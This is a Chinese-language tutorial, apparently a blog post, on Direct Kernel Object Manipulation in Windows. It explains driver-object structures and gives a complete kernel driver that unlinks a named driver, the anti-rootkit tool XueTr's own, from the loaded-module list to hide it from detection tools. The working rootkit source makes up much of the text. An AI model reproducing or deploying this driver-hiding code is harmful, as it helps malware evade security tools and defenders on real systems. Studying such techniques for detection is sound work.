DKOM(Direct Kernel Object Manipulation)就是直接内核对象操作技术。所有的操作系统都在内存中存储记账信息,他们通常采用结构或对象的形式,由对象管理器管理。当用户空间进程请求操作系统信息例如进程、线程或设备驱动程序列表时,这些对象被报告给用户。这些对象或结构位于内存中,因此可以直接对其进行修改。隐藏进程主要关注的windows关键数据结构是:进程的EPROCESS结构与线程的ETHREAD结构、链表(如进程、线程链表与CPU的调度链表)等等。DKOM通过操作这些数据结构来达到它们的目的。直接操作内核对象在隐藏进程这方面的应用很多。
当服务控制管理器(SCM)加载一个驱动的时候, 就会生成一个DRIVER_OBJECT结构的对象.
nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32_DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00cDriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32Void
+0x018 DriverExtension : Ptr32_DRIVER_EXTENSION
+0x01cDriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32_FAST_IO_DISPATCH
+0x02cDriverInit : Ptr32 long
+0x030 DriverStartIo :Ptr32 void
+0x034 DriverUnload :Ptr32 void
+0x038 MajorFunction : [28]Ptr32 long
其中的DriverSection中保存着一个指向KLDR_DATA_TABLE_ENTRY结构体的指针.
这个结构体被用来保存
驱动模块的一些信息.
在WRK中的定义如下:
typedef struct _KLDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
PVOID ExceptionTable;
ULONG ExceptionTableSize;
PVOID GpValue;
DWORD UnKnow;
PVOIDDllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Unused5;
PVOID SectionPointer;
ULONG CheckSum;
PVOID LoadedImports;
PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY,*PKLDR_DATA_TABLE_ENTRY;
这个结构体中的第一个成员InLoadOrderLinks是一个LIST_ENTRY的结构. 这使得每个
驱动模块被串在了一个双向链表中.我们只要遍历这条双向链就能枚举出所有的
驱动模块.
其中域DllBase 是
驱动模块的加载基地址.
FullDllName 是
驱动模块的完整路径
BaseDllName 是
驱动模块的名称.
遍历结果如下:
因此, 如果我们要
隐藏某个
驱动, 只需将我们要
隐藏的
驱动名跟链表中的每个节点的
驱动名比较. 一旦找到我们要
隐藏的
驱动, 则修改它的InLoadOrderLinks域的Flink和Blink的指针即可.
图一: 修改前Flink和Blink指针的指向情况
图二:修改后Flink和Blink指针的指向情况
/*
* 【作者:莫灰灰(LSG)】
* 【空间:http://hi.baidu.com/hu3167343】
*/
#include <ntddk.h>
typedef unsigned long DWORD;
typedef struct _KLDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
PVOID ExceptionTable;
ULONG ExceptionTableSize;
PVOID GpValue;
DWORD UnKnow;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Unused5;
PVOID SectionPointer;
ULONG CheckSum;
PVOID LoadedImports;
PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
PDRIVER_OBJECT pDriverObject = NULL;
VOID
HideDriver()
{
PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
PKLDR_DATA_TABLE_ENTRY firstentry;
UNICODE_STRING uniDriverName;
firstentry = entry;
// 初始化要
隐藏
驱动的
驱动名
RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");
while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
{
if (entry->FullDllName.Buffer != 0)
{
if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
{
KdPrint(("
隐藏
驱动 %ws 成功!\n", entry->BaseDllName.Buffer));
// 修改 Flink 和 Blink 指针, 以跳过我们要
隐藏的
驱动
*((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
/*
使被
隐藏
驱动LIST_ENTRY结构体的Flink, Blink域指向自己
因为此节点本来在链表中, 那么它邻接的节点
驱动被卸载时,
系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点
驱动被
卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
造成随机性的BSoD.
*/
entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
break;
}
}
// 链表往前走
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
}
NTSTATUS
UnloadDriver(
IN PDRIVER_OBJECT DriverObject
)
{
return STATUS_SUCCESS;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
DriverObject->DriverUnload = UnloadDriver;
pDriverObject = DriverObject;
HideDriver();
return STATUS_SUCCESS;
}
摘了XueTr的
驱动之后, 我们用ARK工具来看一下(XueTr 和 PT都是最新版).